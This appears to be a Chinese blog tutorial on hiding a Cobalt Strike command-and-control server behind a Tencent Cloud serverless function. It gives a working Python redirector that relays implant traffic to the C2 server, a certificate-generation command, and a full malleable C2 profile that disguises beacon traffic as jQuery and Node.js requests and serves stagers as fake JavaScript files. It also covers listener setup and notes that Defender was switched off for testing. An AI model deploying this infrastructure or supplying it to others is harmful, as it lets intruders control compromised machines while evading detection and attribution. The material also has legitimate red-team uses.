启动云函数
* 在腾讯云控制台搜索云函数,在函数服务->函数管理进行新建->自定义
// **坑点一:**要根据cs监听类型http/https在脚本内填入c2服务器地址
代码语言:javascript复制``` py3代码
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2 path,headers=headers,verify=False)
else:
resp=requests.post(C2 path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
```
* 部署完代码后新建触发器,更改下述两个选项即可
* 进入触发器api配置,更改路径为/,配置完直接发布api
// 这个时候可以访问下api地址,然后在函数服务的日志查询看一下有没有日志,如果有日志的话云函数配置就ok了
## * 配置CS profile
* 使用keytool生成证书文件,记住证书密码,后面要在profile配置
```
keytool -keystore cobaltStrike.store -storepass password -keypass password -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"
```
* profile 模板,**这儿有个坑,我用的是cs4.3 需要整一下花括号位置,花括号要另起一行,不然会报错找不到括号**
代码语言:javascript复制```
set sample_name "kris_abao";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36";
https-certificate
{
set keystore "cobaltStrike.store"; //证书名
set password "123456"; //密码
## Option 3) Cobalt Strike Self-Signed Certificate
set C "US";
set CN "jquery.com";
set O "jQuery";
set OU "Certificate Authority";
set validity "365";
}
http-get
{
set uri "/api/getit";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager
{
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/postit";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server
{
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
```
* 创建完成后,把证书和profile文件rz扔到cs文件夹,使用./teamserver vpsip password c2.profile 加载profile启动cs,下面这样就是启动成功
* 本地客户端连接,创建监听,**第三个坑,这里只能创建80和443端口的监听,因为我们的流量是通过云函数进来的,云函数只支持80和443,这里的监听实际上是中间人云函数的监听地址和端口,如果云函数C2地址配的是http就开80监听;https就开443,https方式监听**
* 打开cs web日志,访问云函数api的443端口,发现cs的日志出现流量
出现腾讯云流量,至此云函数已经配置成功
## * 测试
* 这儿没做cs马的免杀,关了defender(被干的太惨了),选择https的监听方式,直接上线,sleep调到0发现监听ip会一直变动,配置生效
## * 总结
* 云函数隐藏C2原理
马 -> 腾讯云函数api -> py函数 -> CS服务端
CS马被执行后,流量直接走向腾讯云的api(也就是这一步达成了隐藏C2服务端的目的,腾讯地址,有腾讯的CDN),然后py函数会根据传入的流量作为中间人对CS服务端进行请求,并获取返回结果后返回请求获取的数据信息(py代码的请求内容和CS服务端加载的profile是相对应的,CS服务端根据py函数传入的数据来获取相关信息)